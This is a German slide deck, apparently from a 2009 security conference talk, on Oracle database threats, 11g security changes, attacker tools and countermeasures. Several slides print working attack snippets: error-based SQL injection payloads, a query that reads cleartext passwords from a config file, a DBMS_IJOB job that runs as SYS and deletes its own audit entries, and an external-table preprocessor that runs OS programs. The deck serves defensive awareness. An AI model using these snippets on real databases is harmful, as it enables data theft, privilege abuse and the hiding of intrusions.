
Oracle Security 2009 - 
Trends und Ausblick für 2009

Alexander Kornbrust - Red-Database-Security GmbH

Secaron Security Days - Frankfurt / München

1

Saturday, February 14, 2009



Inhalt

Neue Arten der Bedrohung

Wo könnten die höchsten Risiken liegen

Was ändert sich mit Oracle 11g

Neue Gefahren durch weiterentwickelte Tools

2

Saturday, February 14, 2009



Neue Arten der Bedrohung

Wirtschaftskrise erhöht die Anzahl der Vorfälle

Geschicktes Vorgehen der Angreifer

Kommerzielle Interessen im Vordergrund

Wissen um Oracle Sicherheitslücken wird ausserhalb der Oracle-Welt 
größer

Ausnutzen der Lücken erfordert mehr anfangs Know-How (bis es 
publiziert wurde)
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Neue Arten der Bedrohung
Oracle Forensik muss 
weitere Fortschritte 
machen

Nach jedem Angriff 
sollte das System 
genauestens 
untersucht werden
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Neue Arten der Bedrohung

Es ist in Oracle mittels SQL Injection in Webanwendungen möglich, 
ALLE Daten ALLER Tabellen einer Datenbank mit Hilfe eines einzelnen 
SQL Befehls auszulesen. (Mehr dazu im Sommer 2009)

SQL Injection Angriffe werden komplexer bzw. geschickter
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Fehlermeldungen mit Datenbankinhalt
select 
xmltransform(sys_xmlagg(sys_xmlgen
(username)), xmltype ('<?xml 
version="1.0"?>
<xsl:stylesheet version="1.0" 
xmlns:xsl="http://www.w3.org/1999/
XSL/Transform">
<xsl:template match="/"><xsl:for-
each select="/ROWSET/
USERNAME"><xsl:value-of 
select="text()"/>;
</xsl:for-each></xsl:template></
xsl:stylesheet>')).getstringval() 
listagg from all_users;

select sys.stragg (distinct table_name||chr(32)||num_rows||chr(32)) from user_tables
6
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Fehlermeldungen mit Datenbankinhalt

or 1=ordsys.ord_dicom.getmappingxpath((select banner from v$version where 
rownum=1),user,user)--

ORA-53044: invalid tag: Oracle Enterprise Edition 11.1.0.6--

or 1= SYS.DBMS_AW_XML.READAWMETADATA(user, null)-- 

Data is SCOTT of length 27
ORA-29532: Java call terminated by uncaught Java exception: oracle.AWXML.AWException: 
oracle.AWXML.AWException: An error has occurred on the server
Error class: Express Failure
Server error descriptions:
ENG: ORA-34344: Analytic workspace SCOTT is not attached.
, Generic at xsOLAPIEvaluateSPLExpression

es muss nicht immer utl_inaddr sein....
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Lesen von Dateien ohne PL/SQL Packages
Anzeige des Klartextpasswortes

create or replace directory GETPWDIR 
as 'C:\APP\ROOT\PRODUCT\11.1.0\DB_1\OWB\J2EE\CONFIG';

select 
 extractvalue(value(c), '/connection-factory/@user')||'/'||extractvalue(value(c), '/
connection-factory/@password')||'@'||substr(extractvalue(value(c), '/connection-
factory/@url'),instr(extractvalue(value(c), '/connection-factory/@url'),'//')+2) 
conn
FROM table(
     XMLSequence(
         extract(
             xmltype(
                  bfilename('GETPWDIR', 'data-sources.xml'),
                 nls_charset_id('WE8ISO8859P1')
             ), 
             '/data-sources/connection-pool/connection-factory'
         )
     )
 ) c
/ 
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Umgehen von Oracle Auditing

Oracle secalert:
[...] 
The fundamental problem is that the DBMS_JOB package was designed to be the
public interface and the DBMS_IJOB package was only meant to be internal.
However, database import needs to create jobs as different users, so the
DBMS_IJOB package was opened up to allow this. In hindsight, this was a
mistake and it is now difficult to fix completely without backwards
compatibility issues with database import functionality.
[...]

Oracle Auditing ist immer noch sehr einfach zu umgehen.

Fehlerkorrekturen (z.B. Januar 2009) lösen das Problem nicht 
wirklich...

Oftmals neue Wege Auditing zu umgehen (z.B. via VPD oder explain 
plan) 
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Umgehen von Oracle Auditing

begin
sys.dbms_ijob.submit(
 JOB => 666,  LUSER => 'SYS', PUSER => 'SYS', CUSER => 'SYS',
 NEXT_DATE => sysdate, INTERVAL => null, BROKEN => false, 

WHAT => 'begin 
 execute immediate ''create tablespace buh2 datafile ''''/u00/oradata/EDCSITDE/
buh2.dbf'''' size 2M''; 
 sys.dbms_ijob.remove(666);
 delete from sys.aud$ where obj$name=''DBMS_IJOB'';
 commit;
end;',
 NLSENV =>  'NLS_LANGUAGE=''AMERICAN'' NLS_TERRITORY=''AMERICA'' 
NLS_CURRENCY=''$'' NLS_ISO_CURRENCY=''AMERICA'' NLS_NUMERIC_CHARACTERS=''.,'' 
NLS_DATE_FORMAT=''DD-MON-RR'' NLS_DATE_LANGUAGE=''AMERICAN'' NLS_SORT=''BINARY''',
 ENV =>  hextoraw('0102000200000000'));
end;
/
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Externe Tabellen & /dev bzw. /proc

create or replace directory devdir as '/dev';
create or replace directory procdir as '/proc';

CREATE TABLE cmdline( "NAME" VARCHAR2(4000))
ORGANIZATION EXTERNAL(
  TYPE oracle_loader  DEFAULT DIRECTORY load_dir
  ACCESS PARAMETERS  (
     RECORDS DELIMITED BY NEWLINE
     NOBADFILE NOLOGFILE 
     load_dir: 'procdir'
  LOCATION ('cmdline'))
REJECT LIMIT UNLIMITED;

select count(*) from cmdline;
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Größte Risiken

Interne Angreifer haben es oft auf die gesamte DB abgesehen (full 
export)

Interne Angreifer verwenden Prozess/Workflow-Know-How

Externe Angreifer dringen normalerweise über Webanwendungen in 
die Datenbank ein (Bsp. Kaspersky USA) und stehlen oft die gesamte 
Datenbank

Externe Angreifer verwenden immer bessere Tools
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Was ändert sich mit Oracle 11g (Pro)

Oracle hat einiges zur standardmäßigen Absicherung getan

Einige bestehende Funktionalitäten (utl_*) standardmäßig 
ausgeschaltet

Oracle Auditing standardmässig eingeschaltet

Neuer Passwort Algorithmus
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Was ändert sich mit Oracle 11g (Contra)
Neue Features = Neue Lücken

Für neue Features existieren keine neuen Privilegien, d.h. auf neuen 
Versionen darf ein Benutzer mehr als auf alten Datenbanken.

Komplexere Software ist schwieriger zu managen.

Verfahren / Dokumente müssen angepasst werden.
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Evolution oracle.exe
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8.0.5:      ~16k  functions and ~600  global variables.
8.1.5:      ~18k  functions and ~4k   global variables.
8.1.7.4:    ~22k  functions and ~4.5k global variables.
9.0.1.1.1:  ~31k  functions and ~6k   global variables.
9.2.0.4:    ~45k  functions and ~8k   global variables.
10.1.0.5:   ~60k  functions and ~11k  global variables.
10.2.0.3:   ~72k  functions and ~11k  gloval variables.
11.1.0.6.0: ~113k functions and ~17k  global variables.

Source:   http://blogs.conus.info/node?page=1
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Evolution PL/SQL
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9i  Rel. 2 : 10505        / Java- Classes: 10249
10g Rel. 1 : 15480        / Java- Classes: 15706
10g Rel. 2 : 17261        / Java-Classes:  16417
11g Rel. 1 : 25709        / Java-Classes:  22103
XE         : 12907        / Java-Classes:  0
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dbms_sql
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Randomization der Cursor Nummer (nicht mehr (einfach) zu erraten)

Kann nicht mehr zur Privilegien-Eskalation mit SQL Injection 
verwendet werden

Eine der wichtigsten Sicherheitsmaßnahmen gegen SQL Injection in 
PL/SQL Packages
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Network ACL
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Netzwerk Funktionalität per Default für "nicht-DBAs" ausgeschaltet 
(Gut!)

Verwendung der ACLs erfordert XML, d.h. mehr Software zu 
installieren

"Cubicle Problem": Andere Möglichkeiten des Netzwerkzugriffes 
wurden von Oracle vergessen (z.B. Oracle Text)
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Passwort Algorithmus
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11g Algorithmus einfacher zu knacken (z.B. 2* schneller als die alte 
Variante), da einfacher zu optimieren.

standardmässig werden alte (DES) und neue (SHA1) Passworte mit 
abgespeichert.

View zeigt Benutzer mit Standardpassworten an (=Hilfe für den 
Angreifer)

Saturday, February 14, 2009



Neue Möglichkeiten mit Tabellen
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create or replace directory exec_dir as 'C:\WINDOWS\system32';
create or replace directory load_dir as 'C:\TOOLS';

create or replace directory log_dir  as 'C:\TOOLS';

CREATE TABLE ADDRESS( "NAME" VARCHAR2(60))
ORGANIZATION EXTERNAL(
  TYPE oracle_loader  DEFAULT DIRECTORY load_dir
  ACCESS PARAMETERS  (
     RECORDS DELIMITED BY NEWLINE
     PREPROCESSOR exec_dir:'tskill.exe' OPTIONS ' oracle'
     BADFILE log_dir: 'address.bad'
     LOGFILE load_dir: 'address.log'
     FIELDS TERMINATED BY '|'
     MISSING FIELD VALUES ARE NULL  (
        "NAME"     )  )
  LOCATION ('address.txt'))
REJECT LIMIT UNLIMITED;

select count(*) from ADDRESS;
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Weiterentwickelte Tools 

PL/SQL Unwrapper

Passwort Cracker (SAP, dictionary based Rainbow Tables, Hardware, 
CUDA)

SQL Injection Tools (SQLMap, Matrixay, ...)

Metasploit erhält stark erweiterte Oracle-Support
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PL/SQL Unwrapper

PL/SQL Unwrapper existieren seit längerer Zeit

Waren aber nur sehr schwer erhältlich, da die Rechtsabteilung von 
Oracle nicht verärgert werden sollte

Seit letzter Woche existiert ein einfaches Verfahren, Oracle 10g/11g 
gewrappten Code zu unwrappen.
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PL/SQL Unwrapper
 Oracle 10g/11g Wrapping 

Algorithmus wurde veröffentlicht

 Base64 / Einfache Textersetzung

 Aus Sicherheitsgründen sollte nun 
eher die alte 9i Wrapping Methode 
verwendet werden, da hier ein 
separater Unwrapper benötigt wird. 
Dieser ist schwerer zu bekommen.

 9i zeigt Literale (z.B. Schlüssel) 
jedoch im Klartext an

Details: http://technology.amis.nl/blog/4753/unwrapping-10g-
wrapped-plsql 23
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Passwort Cracker

SAP

dictionary based Rainbow Tables

Hardware

CUDA
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Passwort Checker - SAP
Red-Database-Security hat einen SAP Passwort Checker 
geschrieben

wird demnächst veröffentlicht

standalone (checkpwdsap)

integriert in Repscan
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Passwort Cracker - dictRT
neue Methode zum Testen komplizierter Passworte

Passworte für einen bestimmten Benutzernamen (z.B. SYSTEM) 
werden vorberechnet (dauert ca. 48 h).

Die Überprüfung von 2^34 Passworten erfolgt mit 250 Mill pw/sec.

P
T
D

Munich
Tiger
Leopard 

Prefix Wort

!
-
_

#

1
2

4711
012009
022009
02_2009

Trennzeichen Postfix

PMUNICH!1
PMUNICH!2
PMUNICH!4711

…
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Passwort Cracker - dictRT
erweiterte

integriert in Repscan
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Passwort Cracker - Hardware

Es existieren bereits eine Lösung zum Knacken von Oracle 10g 
Passworten in Hardware (FPGA)

Inzwischen ist diese Lösung relativ günstig ( < 1000 USD)
ist aber für den "Gelegenheitshacker" uninteressant
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Passwort Cracker - Grafikkarten

Mehr darf von den neuen 
Grafikkarten von NVidia / 
ATI erwartet werden.

Passwort-Knacken wird 
bis um den Faktor 50 
schneller

Support von CUDA wird 
2009 Standard für 
Passwort Checking 
Programme
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SQL Injection Tools

PL/SQL Fuzzer

SQLMap

Matrixay

viele weitere wurden kürzlich veröffentlicht bzw. sind in der Planung ...
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SQL Injection Tools - PL/SQL Fuzzer

PL/SQL Fuzzer von Sentrigo (Slavik Marchovich)

Überprüfen von PL/SQL Code auf SQL Injection Lücken

nur eingeschränkt für die Suche nach SQL Injection empfehlenswert, 
da nur SQL Injection Lücken am Anfang des Codes gefunden werden

Sinnvoll wenn der PL/SQL Code (z.B. Oracle) nicht vorhanden ist oder 
externe Bibliotheken verwendet werden.

Besser ist eine Sourcecode-Analyse  (z.B. Fortify oder Repscan)
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SQL Injection Tools - Repscan
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SQL Injection Tools - Repscan
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SQL Injection Tools - Matrixay

einfach zu verwendender Scanner für Webanwendungen

unterstützt alle Datenbanken (Oracle, SQLServer, Access, MySQL, ...)

Geringe bis keine false Positives durch Testen der Sicherheitslücken
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SQL Injection Tools - Matrixay

Demonstation
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SQL Injection Tools - SQLMap

SQLMap unterstützt alle Arten von relationalen Datenbanken

Konfiguration über Config-Datei

Verwendung über Kommandozeile
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SQL Injection Tools - SQLMap

37

Saturday, February 14, 2009



SQL Injection Tools - SQLMap

38

Saturday, February 14, 2009



Metasploit Framework

Metasploit ist das bekannteste Open-Source-Framework 

De-Facto Standard für Security Experten und Hacker

Es erlaubt die Übernahme von unsicheren Systemen mit Hilfe weniger 
Mausklicks bzw. Tastatureingaben

Tiefes Sicherheitswissen wird für die meisten Aktivitäten nicht 
benötigt.

bisher rudimentärer Oracle Support
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Metasploit Framework
Chris Gates erweitert gerade den "Support" für Oracle

SIDs werden vom Listener heruntergeladen

Privilegien-Eskalation via PL/SQL Packages

Ausführen von Betriebssystemkommandos

Upload von Binärdateien (mit den Möglichkeiten von Metasploit) auf 
den Datenbankserver

Knacken von Datenbank-Passworten

Weitere Möglichkeiten werden gerade hinzugefügt...
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Inguma Framework

Exploit Framework für Oracle (und mehr) von Joxean Koret

Zur Zeit bessere Unterstützung für Oracle als Metasploit

Enthält einen SID Guesser

Enthält einen PL/SQL Fuzzer

Wesentlich mehr Exploits für neue Versionen
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Gegenmaßnahmen
Härten der Datenbank (Privilegien, Error Trigger)

Kontrolle der Datenbanken nach Anomalien (z.B. wer verwendet 
Export Utilities)

Regelmäßige Überprüfung von Datenbanken (manuell oder 
automatisiert z.B. mit Repscan)

Einspielen der Security Patches oder zumindestens der Patchsets

Verfolgen der Security Szene

Verwenden von Auditing oder besser Auditing Lösungen von 3rd-party 
Firmen wie Sentrigo
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Referenzen

Unwrapping PL/SQL: http://technology.amis.nl/blog/4753/
unwrapping-10g-wrapped-plsql 

Oracle Datenbankscanner: http://www.red-database-security.de/
software/repscan.html

SQLMap - http://sqlmap.sourceforge.net/ 

Matrixay - http://www.dbappsecurity.com

Metasploit - http://www.metasploit.com

Inguma - http://sourceforge.net/projects/inguma 
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